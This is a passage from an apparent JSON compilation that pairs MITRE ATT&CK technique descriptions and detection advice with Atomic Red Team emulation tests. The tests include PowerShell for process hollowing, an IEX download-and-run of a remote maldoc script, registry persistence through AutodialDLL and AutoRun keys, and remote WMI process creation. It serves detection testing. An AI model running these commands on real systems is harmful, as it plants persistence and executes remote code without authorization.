- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nIn some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account.(Citation: CISA MFA PrintNightmare)\n\nThe overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.(Citation: TechNet Credential Theft)",
- "modified": "2022-05-05T04:55:21.981Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Valid Accounts",
- "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "initial-access"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "User Account: User Account Authentication",
- "Logon Session: Logon Session Creation",
- "Logon Session: Logon Session Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "User",
- "Administrator"
- ],
- "x_mitre_defense_bypassed": [
- "Firewall",
- "Anti-virus",
- "Host Intrusion Prevention Systems",
- "Network Intrusion Detection System",
- "Application Control",
- "System Access Controls"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1055.012": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
- "type": "attack-pattern",
- "created": "2020-01-14T17:21:54.470Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.012",
- "url": "https://attack.mitre.org/techniques/T1055/012"
- },
- {
- "url": "http://www.autosectools.com/process-hollowing.pdf",
- "description": "Leitch, J. (n.d.). Process Hollowing. Retrieved November 12, 2014.",
- "source_name": "Leitch Hollowing"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- },
- {
- "source_name": "Nviso Spoof Command Line 2020",
- "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/",
- "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021."
- },
- {
- "source_name": "Mandiant Endpoint Evading 2019",
- "url": "https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode",
- "description": "Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021."
- }
- ],
- "modified": "2021-11-29T17:22:32.704Z",
- "name": "Process Injection: Process Hollowing",
- "description": "Adversaries may inject malicious code into suspended and hollowed processes in order to evade process-based defenses. Process hollowing is a method of executing arbitrary code in the address space of a separate live process. \n\nProcess hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. A victim process can be created with native Windows API calls such as CreateProcess
, which includes a flag to suspend the processes primary thread. At this point the process can be unmapped using APIs calls such as ZwUnmapViewOfSection
or NtUnmapViewOfSection
before being written to, realigned to the injected code, and resumed via VirtualAllocEx
, WriteProcessMemory
, SetThreadContext
, then ResumeThread
respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nProcessing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process\u2019 thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Access",
- "Process: OS API Execution",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Application control",
- "Anti-virus"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1055.012"
- },
- "atomic_tests": [
- {
- "name": "Process Hollowing using PowerShell",
- "auto_generated_guid": "562427b4-39ef-4e8c-af88-463a78e70b9c",
- "description": "This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.\nCredit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "hollow_binary_path": {
- "description": "Path of the binary to hollow (executable that will run inside the sponsor)",
- "type": "string",
- "default": "C:\\Windows\\System32\\cmd.exe"
- },
- "parent_process_name": {
- "description": "Name of the parent process",
- "type": "string",
- "default": "explorer"
- },
- "sponsor_binary_path": {
- "description": "Path of the sponsor binary (executable that will host the binary)",
- "type": "string",
- "default": "C:\\Windows\\System32\\notepad.exe"
- },
- "spawnto_process_name": {
- "description": "Name of the process to spawn",
- "type": "string",
- "default": "notepad"
- }
- },
- "executor": {
- "command": ". $PathToAtomicsFolder\\T1055.012\\src\\Start-Hollow.ps1\n$ppid=Get-Process #{parent_process_name} | select -expand id\nStart-Hollow -Sponsor \"#{sponsor_binary_path}\" -Hollow \"#{hollow_binary_path}\" -ParentPID $ppid -Verbose\n",
- "cleanup_command": "Stop-Process -Name \"#{spawnto_process_name}\" -ErrorAction Ignore\n",
- "name": "powershell"
- }
- },
- {
- "name": "RunPE via VBA",
- "auto_generated_guid": "3ad4a037-1598-4136-837c-4027e4fa319b",
- "description": "This module executes notepad.exe from within the WINWORD.EXE process\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "ms_product": {
- "description": "Maldoc application Word",
- "type": "string",
- "default": "Word"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Microsoft #{ms_product} must be installed\n",
- "prereq_command": "try {\n New-Object -COMObject \"#{ms_product}.Application\" | Out-Null\n $process = \"#{ms_product}\"; if ( $process -eq \"Word\") {$process = \"winword\"}\n Stop-Process -Name $process\n exit 0\n} catch { exit 1 }\n",
- "get_prereq_command": "Write-Host \"You will need to install Microsoft #{ms_product} manually to meet this requirement\"\n"
- }
- ],
- "executor": {
- "command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\" -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n",
- "name": "powershell"
- }
- }
- ]
- },
- "T1068": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics",
- "Yaniv Agman, @AgmanYaniv, Team Nautilus Aqua Security",
- "Idan Revivo, @idanr86, Team Nautilus Aqua Security"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:55.066Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1068",
- "url": "https://attack.mitre.org/techniques/T1068"
- },
- {
- "source_name": "ESET InvisiMole June 2020",
- "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
- "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
- },
- {
- "source_name": "Unit42 AcidBox June 2020",
- "url": "https://unit42.paloaltonetworks.com/acidbox-rare-malware/",
- "description": "Reichel, D. and Idrizovic, E. (2020, June 17). AcidBox: Rare Malware Repurposing Turla Group Exploit Targeted Russian Organizations. Retrieved March 16, 2021."
- },
- {
- "source_name": "Microsoft Driver Block Rules",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules",
- "description": "Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."
- }
- ],
- "modified": "2021-04-22T16:13:34.896Z",
- "name": "Exploitation for Privilege Escalation",
- "description": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.\n\nWhen initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.\n\nAdversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020) Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules)\n\nHigher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Driver: Driver Load"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_effective_permissions": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1546": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db",
- "type": "attack-pattern",
- "created": "2020-01-22T21:04:23.285Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546",
- "url": "https://attack.mitre.org/techniques/T1546"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf",
- "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.",
- "source_name": "FireEye WMI 2015"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.",
- "source_name": "Malware Persistence on OS X"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
- "description": "Claud Xiao, Cong Zheng, Yanhui Jia. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved February 19, 2018.",
- "source_name": "amnesia malware"
- }
- ],
- "modified": "2022-02-08T16:39:09.283Z",
- "name": "Event Triggered Execution",
- "description": "Adversaries may establish persistence and/or elevate privileges using system mechanisms that trigger execution based on specific events. Various operating systems have means to monitor and subscribe to events such as logons or other user activity such as running specific applications/binaries. \n\nAdversaries may abuse these mechanisms as a means of maintaining persistent access to a victim via repeatedly executing malicious code. After gaining access to a victim system, adversaries may create/modify event triggers to point to malicious content that will be executed whenever the event trigger is invoked.(Citation: FireEye WMI 2015)(Citation: Malware Persistence on OS X)(Citation: amnesia malware)\n\nSince the execution can be proxied by an account with higher permissions, such as SYSTEM or service accounts, an adversary may be able to abuse these triggered execution mechanisms to escalate their privileges. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitoring for additions or modifications of mechanisms that could be used to trigger event-based execution, especially the addition of abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network. Also look for changes that do not line up with updates, patches, or other planned administrative activity. \n\nThese mechanisms may vary by OS, but are typically stored in central repositories that store configuration information such as the Windows Registry, Common Information Model (CIM), and/or specific named files, the last of which can be hashed and compared to known good values. \n\nMonitor for processes, API/System calls, and other common ways of manipulating these event repositories. \n\nTools such as Sysinternals Autoruns can be used to detect changes to execution triggers that could be attempts at persistence. Also look for abnormal process call trees for execution of other commands that could relate to Discovery actions or other techniques. \n\nMonitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement. ",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation",
- "File: File Metadata",
- "File: File Modification",
- "File: File Creation",
- "Module: Module Load",
- "WMI: WMI Creation",
- "Command: Command Execution"
- ],
- "identifier": "T1546"
- },
- "atomic_tests": [
- {
- "name": "Persistence with Custom AutodialDLL",
- "auto_generated_guid": "aca9ae16-7425-4b6d-8c30-cad306fdbd5b",
- "description": "The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. \n\nThe sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.\n[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)\n",
- "supported_platforms": [
- "windows"
- ],
- "dependencies": [
- {
- "description": "AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n",
- "prereq_command": "if (Test-Path PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll) { exit 0} else { exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory \"PathToAtomicsFolder\\T1546\\bin\\\" -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546/bin/AltWinSock2DLL.dll\" -OutFile \"PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\"\n"
- }
- ],
- "executor": {
- "command": "Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\\T1546\\bin\\AltWinSock2DLL.dll\n",
- "cleanup_command": "Set-ItemProperty HKLM:\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters -Name AutodialDLL -Value $env:windir\\system32\\rasadhlp.dll",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)",
- "auto_generated_guid": "a574dafe-a903-4cce-9701-14040f4f3532",
- "description": "An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.\n[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command": {
- "description": "Command to Execute",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "command": "New-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"",
- "cleanup_command": "Remove-ItemProperty -Path \"HKLM:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore",
- "name": "powershell",
- "elevation_required": true
- }
- },
- {
- "name": "HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)",
- "auto_generated_guid": "36b8dbf9-59b1-4e9b-a3bb-36e80563ef01",
- "description": "An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.\n[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "command": {
- "description": "Command to Execute",
- "type": "string",
- "default": "notepad.exe"
- }
- },
- "executor": {
- "command": "$path = \"HKCU:\\Software\\Microsoft\\Command Processor\"\nif (!(Test-Path -path $path)){\n New-Item -ItemType Key -Path $path\n}\nNew-ItemProperty -Path $path -Name \"AutoRun\" -Value \"#{command}\" -PropertyType \"String\"",
- "cleanup_command": "Remove-ItemProperty -Path \"HKCU:\\Software\\Microsoft\\Command Processor\" -Name \"AutoRun\" -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "WMI Invoke-CimMethod Start Process",
- "auto_generated_guid": "adae83d3-0df6-45e7-b2c3-575f91584577",
- "description": "The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.\nThis is a novel way to perform lateral movement or to start a remote process.\nThis does require WinRM to be enabled. The account performing the run will also need to be elevated.\nA successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "dest": {
- "description": "destination computer name",
- "type": "string",
- "default": "localhost"
- },
- "password": {
- "description": "password for account",
- "type": "string",
- "default": "P@ssword1"
- },
- "username": {
- "description": "account to use",
- "type": "string",
- "default": "Administrator"
- },
- "process": {
- "description": "process to spawn",
- "type": "string",
- "default": "calc.exe"
- }
- },
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "# Set the remote computer name and credentials\n $RemoteComputer = \"#{dest}\"\n $PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\n\n # Create a CIM session\n $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential\n\n # Define the process you want to start\n $ProcessToStart = \"#{process}\"\n\n # Invoke the Create method on the Win32_Process class to start the process\n $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}\n\n # Check the result\n if ($Result.ReturnValue -eq 0) {\n Write-Host \"Process started successfully with Process ID: $($Result.ProcessId)\"\n } else {\n Write-Host \"Failed to start the process. Error code: $($Result.ReturnValue)\"\n }\n\n # Clean up the CIM session\n Remove-CimSession -CimSession $CimSession \n"
- }
- }
- ]
- },
- "T1546.004": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Robert Wilson",
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b63a34e8-0a61-4c97-a23b-bf8a2ed812e2",
- "type": "attack-pattern",
- "created": "2020-01-24T14:13:45.936Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.004",
- "url": "https://attack.mitre.org/techniques/T1546/004"
- },
- {
- "source_name": "intezer-kaiji-malware",
- "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
- "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
- },
- {
- "source_name": "bencane blog bashrc",
- "url": "https://bencane.com/2013/09/16/understanding-a-little-more-about-etcprofile-and-etcbashrc/",
- "description": "Benjamin Cane. (2013, September 16). Understanding a little more about /etc/profile and /etc/bashrc. Retrieved February 25, 2021."
- },
- {
- "source_name": "anomali-rocke-tactics",
- "url": "https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-tactics-now-more-difficult-to-detect",
- "description": "Anomali Threat Research. (2019, October 15). Illicit Cryptomining Threat Actor Rocke Changes Tactics, Now More Difficult to Detect. Retrieved December 17, 2020."
- },
- {
- "source_name": "Linux manual bash invocation",
- "url": "https://wiki.archlinux.org/index.php/Bash#Invocation",
- "description": "ArchWiki. (2021, January 19). Bash. Retrieved February 25, 2021."
- },
- {
- "source_name": "Tsunami",
- "url": "https://unit42.paloaltonetworks.com/unit42-new-iotlinux-malware-targets-dvrs-forms-botnet/",
- "description": "Claud Xiao and Cong Zheng. (2017, April 6). New IoT/Linux Malware Targets DVRs, Forms Botnet. Retrieved December 17, 2020."
- },
- {
- "source_name": "anomali-linux-rabbit",
- "url": "https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat",
- "description": "Anomali Threat Research. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved December 17, 2020."
- },
- {
- "source_name": "Magento",
- "url": "https://blog.sucuri.net/2018/05/shell-logins-as-a-magento-reinfection-vector.html",
- "description": "Cesar Anjos. (2018, May 31). Shell Logins as a Magento Reinfection Vector. Retrieved December 17, 2020."
- },
- {
- "source_name": "ScriptingOSX zsh",
- "url": "https://scriptingosx.com/2019/06/moving-to-zsh-part-2-configuration-files/",
- "description": "Armin Briegel. (2019, June 5). Moving to zsh, part 2: Configuration Files. Retrieved February 25, 2021."
- },
- {
- "source_name": "PersistentJXA_leopitt",
- "url": "https://posts.specterops.io/persistent-jxa-66e1c3cd1cf5",
- "description": "Leo Pitt. (2020, August 6). Persistent JXA - A poor man's Powershell for macOS. Retrieved January 11, 2021."
- },
- {
- "source_name": "code_persistence_zsh",
- "url": "https://github.com/D00MFist/PersistentJXA/blob/master/BashProfilePersist.js",
- "description": "Leo Pitt. (2020, November 11). Github - PersistentJXA/BashProfilePersist.js. Retrieved January 11, 2021."
- },
- {
- "source_name": "macOS MS office sandbox escape",
- "url": "https://cedowens.medium.com/macos-ms-office-sandbox-brain-dump-4509b5fed49a",
- "description": "Cedric Owens. (2021, May 22). macOS MS Office Sandbox Brain Dump. Retrieved August 20, 2021."
- },
- {
- "source_name": "ESF_filemonitor",
- "url": "https://objective-see.com/blog/blog_0x48.html",
- "description": "Patrick Wardle. (2019, September 17). Writing a File Monitor with Apple's Endpoint Security Framework. Retrieved December 17, 2020."
- }
- ],
- "modified": "2021-08-20T18:01:52.120Z",
- "name": "Event Triggered Execution: .bash_profile and .bashrc",
- "description": "Adversaries may establish persistence through executing malicious commands triggered by a user\u2019s shell. User [Unix Shell](https://attack.mitre.org/techniques/T1059/004)s execute several configuration scripts at different points throughout the session based on events. For example, when a user opens a command-line interface or remotely logs in (such as via SSH) a login shell is initiated. The login shell executes scripts from the system (/etc
) and the user\u2019s home directory (~/
) to configure the environment. All login shells on a system use /etc/profile when initiated. These configuration scripts run at the permission level of their directory and are often used to set environment variables, create aliases, and customize the user\u2019s environment. When the shell exits or terminates, additional shell scripts are executed to ensure the shell exits appropriately. \n\nAdversaries may attempt to establish persistence by inserting commands into scripts automatically executed by shells. Using bash as an example, the default shell for most GNU/Linux systems, adversaries may add commands that launch malicious binaries into the /etc/profile
and /etc/profile.d
files.(Citation: intezer-kaiji-malware)(Citation: bencane blog bashrc) These files typically require root permissions to modify and are executed each time any shell on a system launches. For user level permissions, adversaries can insert malicious commands into ~/.bash_profile
, ~/.bash_login
, or ~/.profile
which are sourced when a user opens a command-line interface or connects remotely.(Citation: anomali-rocke-tactics)(Citation: Linux manual bash invocation) Since the system only executes the first existing file in the listed order, adversaries have used ~/.bash_profile
to ensure execution. Adversaries have also leveraged the ~/.bashrc
file which is additionally executed if the connection is established remotely or an additional interactive shell is opened, such as a new tab in the command-line interface.(Citation: Tsunami)(Citation: anomali-rocke-tactics)(Citation: anomali-linux-rabbit)(Citation: Magento) Some malware targets the termination of a program to trigger execution, adversaries can use the ~/.bash_logout
file to execute malicious commands at the end of a session. \n\nFor macOS, the functionality of this technique is similar but may leverage zsh, the default shell for macOS 10.15+. When the Terminal.app is opened, the application launches a zsh login shell and a zsh interactive shell. The login shell configures the system environment using /etc/profile
, /etc/zshenv
, /etc/zprofile
, and /etc/zlogin
.(Citation: ScriptingOSX zsh)(Citation: PersistentJXA_leopitt)(Citation: code_persistence_zsh)(Citation: macOS MS office sandbox escape) The login shell then configures the user environment with ~/.zprofile
and ~/.zlogin
. The interactive shell uses the ~/.zshrc
to configure the user environment. Upon exiting, /etc/zlogout
and ~/.zlogout
are executed. For legacy programs, macOS executes /etc/bashrc
on startup.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nMonitor for changes to /etc/profile
and /etc/profile.d
, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) \n\nFor most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the /etc/shells
file.\n",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "Command: Command Execution",
- "File: File Creation"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "identifier": "T1546.004"
- },
- "atomic_tests": []
- },
- "T1134.005": {
- "technique": {
